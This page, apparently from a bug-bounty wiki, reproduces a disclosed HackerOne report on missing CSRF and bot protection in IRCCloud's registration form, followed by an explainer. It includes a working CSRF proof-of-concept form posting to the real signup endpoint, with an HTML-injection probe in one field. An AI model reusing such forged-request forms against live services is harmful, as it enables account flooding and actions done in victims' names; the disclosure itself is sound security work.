Skip to content
CSRF Disclosed report Beginner

CSRF - Creating accounts

The registration form lacked CSRF and bot protection, so an attacker could automate account creation or trick victims into creating accounts. This could flood the database with useless accounts.

internetwache Follow

Originally disclosed on HackerOne

  • Fixed in 2 days
  • Disclosed after 32 days

Hi there,

I've discovered the following CSRF issue: There's no CSRF / Bot protection on the registration form.

###Details

An attacker could automate the registration process to flood your database with invalid/useless accounts. He could also source the process out to his victims (CSRF).

###Steps to reproduce

    1. Go to https://www.irccloud.com/
  • 2 . Turn on burp and submit the registration form
    1. Remove the "token" and "_reqid" parameter from the request body and forward it
    1. The account should be created succesfully.

CSRF PoC:

<html>
  <body>
    <form action="https://www.irccloud.com/chat/signup" method="POST">
      <input type="hidden" name="email" value="tes3&#64;internetwache&#46;org" />
      <input type="hidden" name="password" value="fooobar" />
      <input type="hidden" name="realname" value="test&quot;&gt;&lt;h1&gt;foobar&lt;&#47;h1&gt;" />
      <input type="hidden" name="invite" value="" />
      <input type="hidden" name="org&#95;invite" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

###How to fix? Either validate the "token" parameter server side or use a CAPTCHA to fight bots. The latter would be the prefered fix in my opinion.

Yours sincerely, Sebastian Neef

The original report as published on HackerOne, by internetwache. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The registration endpoint did not validate a server-side CSRF token or require a CAPTCHA, so requests could be forged or automated.

Impact

An attacker could automate registration to flood the database with invalid accounts, or use CSRF to make victims create accounts.

What the attacker needed

Victim visits attacker page; no authentication needed

The fix

The registration form should validate the token server-side or use a CAPTCHA to prevent bots.

How it was found

  1. Go to the IRCCloud website.
  2. Turn on Burp and submit the registration form.
  3. Remove the token and _reqid parameters from the request body and forward it.
  4. The account is created successfully.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A CSRF attack tricks a victim's browser into sending a request they did not intend. Here, the signup form accepted requests without a secret token, so a malicious page could create accounts. This lets an attacker fill the service with fake accounts.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by internetwache

View all

10 more disclosed reports, best first.

More from IRCCloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.